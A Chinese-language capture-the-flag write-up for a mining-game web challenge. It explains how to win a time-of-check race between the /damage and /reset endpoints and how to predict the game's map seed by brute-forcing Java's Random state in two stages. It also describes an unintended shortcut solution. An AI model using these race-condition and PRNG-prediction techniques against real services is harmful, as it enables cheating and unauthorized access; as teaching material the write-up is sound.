+由于相较预期解,非预期解简直太容易发现了(结果我没发现),因此我推测大部分拿到 Flag 的选手都是使用的非预期解的方式。 + +这道题的核心是伪随机数预测,但非预期解完全不需要考虑这一点,甚至不需要读后端代码,因此目的完全没有达到…… + +不管怎样,先从预期解开始吧。 + +## 预期解 + +经过整理,我们可以注意到一共有三种 HTTP 请求比较重要: + +* `GET /reset`:重置整个地图。 +* `GET /state`:获取特定区域的矿物分布。 +* `GET /damage`:在特定位置挖掘方块并获取掉落。 + +经过试验,我们可以发现 `GET /damage` 请求会带来 3-5s 的延时。 + +通过阅读源代码: + +```java +if (location.getMaterial().harderThan(material)) { + this.waitFor(LONG_DURATION); + result.put("dropped", Material.AIR.name()).put("flag", ""); +} else { + this.waitFor(SHORT_DURATION); + result.put("dropped", location.getMaterial().name()); + result.put("flag", location.getMaterial().flagOf(this.currentUser)); +} +``` + +我们可以注意到判定和挖掘的相关代码是分开的,判定在 3-5s 前,而挖掘在 3-5s 后(`waitFor` 方法是对 `Thread.sleep` 的单纯包装)。 + +那么我们的目标自然变成了「判定的时候不是 Flag,而挖掘的时候变成了 Flag」。一个自然的想法便出现了: + +* 找到一个位置,发起 `GET /damage` 挖掘方块。 +* 在 3-5s 的挖掘等级时间内发起 `GET /reset` 重置地图。 +* 3-5s 后把该位置挖掘下来,此时该位置正好是 Flag。 + +--- + +现在我们的目标变成了寻找这样的位置。左上角的 Flag 看似很好,一直都在——但问题就在于它一直都在,因此判定阶段总是会判定到 Flag(上面的代码中 `harderThan` 总是返回 `true`),从而无法进行到挖掘阶段。 + +那么到底有没有一开始不是但重置地图后突然是 Flag 的位置呢?这要从 `getMaterial` 方法看起了。 + +```java +var rng = new Random(); +var result = Material.AIR; +if (!Game.this.airLocations.contains(this)) { + for (var i = 1; i <= 5; ++i) { + var material = Material.values()[i]; + var modular = material.size + material.size / 2; + var chunkX = Math.floorDiv(this.x, material.size); + var chunkY = Math.floorDiv(this.y, material.size); + var offsetX = Math.floorMod(this.x, material.size); + var offsetY = Math.floorMod(this.y, material.size); + rng.setSeed(Game.this.baseSeed ^ (i + 0x6E5D5AF15FA1280BL * chunkX + 0xE9716B1CE6339E6CL * chunkY)); + for (var j = 0; j < material.count; ++j) { + var randomX = Math.floorMod(rng.nextInt() * ((1 << j) - 1) + chunkX + 1, modular); + var randomY = Math.floorMod(rng.nextInt() * ((1 << j) - 1) + chunkY + 1, modular); + if (randomX == offsetX && randomY == offsetY) { + result = material; + } + } + } +} +return result; +``` + +我们可以注意到大循环一共针对五种材料(`material` 从 `Material.values()[1]` 到 `Material.values()[5]`)生成,而小循环会生成 `material.count` 次。`floorDiv` 和 `floorMod` 提醒我们一次生成的范围——我们很容易地能从 `Material` 类里找到相应的参数: + +```java +private enum Material { + AIR(1, 1), STONE(1, 1), IRON(32, 16), DIAMOND(32, 32), OBSIDIAN(16, 32), FLAG(2, 16777216); + + // ordinal: air 0, stone 1, iron 2, diamond 3, obsidian 4, flag 5 + + private final int count; + private final int size; + + Material(int count, int size) { + this.count = count; + this.size = size; + } + + private boolean harderThan(Material other) { + return this == FLAG || this.ordinal() > other.ordinal() + 1; + } + + private String flagOf(User user) { + return this == FLAG ? user.getFlag() : ""; + } +} +``` + +Flag 会以 16777216 为半径生成 2 次(很明显第一次便是地图左上角那个),而黑曜石会以 32 为半径生成 16 次,以此类推。 + +我们还注意到 `baseSeed` 是操控生成的关键,而每次 `reset` 后 `baseSeed` 会如何变化呢? + +```java +this.baseSeed = (this.baseSeed << 3) | (BASE_SEED_RNG.nextInt() & 7); +``` + +换句话说,如果我们预测成功了 `baseSeed` 的值,那么 `baseSeed` 的下一个值会在 8 个可能的值中出现,那么 Flag 也会在 8 种可能的位置中确定,我们只需要提前找好这样的位置就可以了。 + +--- + +我们现在来分析 Java 随机数发生器的默认行为。Java 的随机数发生器和一个 48 bit 的整数息息相关。一个自然想法是爆破 48 bit 的整数,但是数量实在是太多了,那怎么办? + +我们不妨将内部整数取名 `innerSeed`,现在来看整个代码中用到的 `setSeed` 和 `nextInt` 两个方法。以下是两个方法的伪代码: + +> `setSeed(seed)`: +> +> ```plain +> innerSeed = seed ^ 0x5DEECE66D +> ``` +> +> `nextInt()`: +> +> ```plain +> innerSeed = (innerSeed * 0x5DEECE66D + 0xB) & 0xFFFFFFFFFFFF +> +> return innerSeed >>> 16 +> ``` + +在后续代码中,我们会注意到,`nextInt` 的结果在加上一个偏移量后,会以一个数字为模取值,对于黑曜石,这个值为 48。换言之,我们能够得到不超过 16 个 `nextInt` 的结果模 48 的集合。 + +由于 `48 = 16 * 3`,而 `16` 是 2 的整数次方,因此我们不妨让 `innerSeed` 对应的 `seed` 加上一个整数 `k`(记为 `innerSeed'`),看一看 `nextInt() % 16` 的结果: + +> `setSeed(seed)`: +> +> ```plain +> innerSeed = seed ^ 0x5DEECE66D +> +> innerSeed' = (seed + k) ^ 0x5DEECE66D +> ``` +> +> `nextInt() % 16`: +> +> ```plain +> innerSeed = ((seed ^ 0x5DEECE66D) * 0x5DEECE66D + 0xB) & 0xFFFFFFFFFFFF +> +> innerSeed' = ((seed + k) ^ 0x5DEECE66D) * 0x5DEECE66D + 0xB) & 0xFFFFFFFFFFFF +> = (((seed ^ 0x5DEECE66D) + k) * 0x5DEECE66D + 0xB) & 0xFFFFFFFFFFFF +> = ((seed ^ 0x5DEECE66D) * 0x5DEECE66D + 0xB + k * 0x5DEECE66D) & 0xFFFFFFFFFFFF +> = innerSeed + (k * 0x5DEECE66D) & 0xFFFFFFFFFFFF +> +> nextInt() % 16 = (innerSeed >>> 16) % 16 +> = (innerSeed >>> 16) & 0xF +> +> (nextInt() % 16)' = (innerSeed' >>> 16) % 16 +> = (innerSeed >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xFFFFFFFFFFFF >>> 16) & 0xF +> = (innerSeed >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xFFFFFFFF0000 >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xFFFF >>> 16) & 0xF +> = (innerSeed >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xFFFFFFFF0000 >>> 16) & 0xF + 0 +> = (innerSeed >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xF0000 >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xFFFFFFF00000 >>> 16) & 0xF +> = (innerSeed >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xF0000 >>> 16) & 0xF + ((k * 0x5DEECE66D) >>> 16) & 0xFFFFFFF0 & 0xF +> = (innerSeed >>> 16) & 0xF + ((k * 0x5DEECE66D) & 0xF0000 >>> 16) & 0xF + 0 +> = (innerSeed >>> 16) & 0xF + (k * 0x5DEECE66D) & 0xF0000 >>> 16 +> ``` + +我们注意到,当 `k` 是 `0x100000` 的整数倍时,`(k * 0x5DEECE66D) & 0xF0000 >>> 16` 是严格的 0,换句话说:`nextInt() % 16` 的值,只和 `seed` 的后 20 bit 有关。 + +这使得我们分组爆破成为可能: + +* 首先爆破后 20 bit,检查地图上相应位置模 16 的值是否出现黑曜石。 +* 然后集聚所有可能的后 20 bit,再爆破前 28 bit(主要的运算集中在这里)。 +* 根据出现的结果预测下一个 `baseSeed` 可能的 8 个值,并发送对应的 8 个挖掘请求。 + +以上便是预期解的大致流程了。 + +--- + +具体示例爆破代码请见 [MiniMinerSolution.java](src/MiniMinerSolution.java),运行可采用以下方式: + +```bash +wget -nc https://repo1.maven.org/maven2/org/json/json/20200518/json-20200518.jar +javac -cp json-20200518.jar MiniMinerSolution.java +java -cp json-20200518.jar:. MiniMinerSolution +``` + +本人的笔记本电脑 CPU 为「Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz」,大多数情况下 10 分钟之内便可将上面的代码执行完毕。如果使用 C/C++ 编写并针对性优化过的话可能更快。 + +## 非预期解 + +上面的预期解基于一个假设: + +> 左上角的 Flag 一直都在,因此判定阶段总是会判定到 Flag。 + +但很可惜,由于本人后端代码的设计失误,这个假设是错的:左上角的 Flag 的对应位置挖空后,Flag 便不复存在了。 + +因为非预期解如下: + +* 针对左上角 Flag 的位置发起 `GET /damage` 挖空。 +* 再发起一次 `GET /damage` 并在等待的过程中发起 `GET /reset`。 + +嗯,没了。 + +![真是个悲伤的故事](data:image/png;base64,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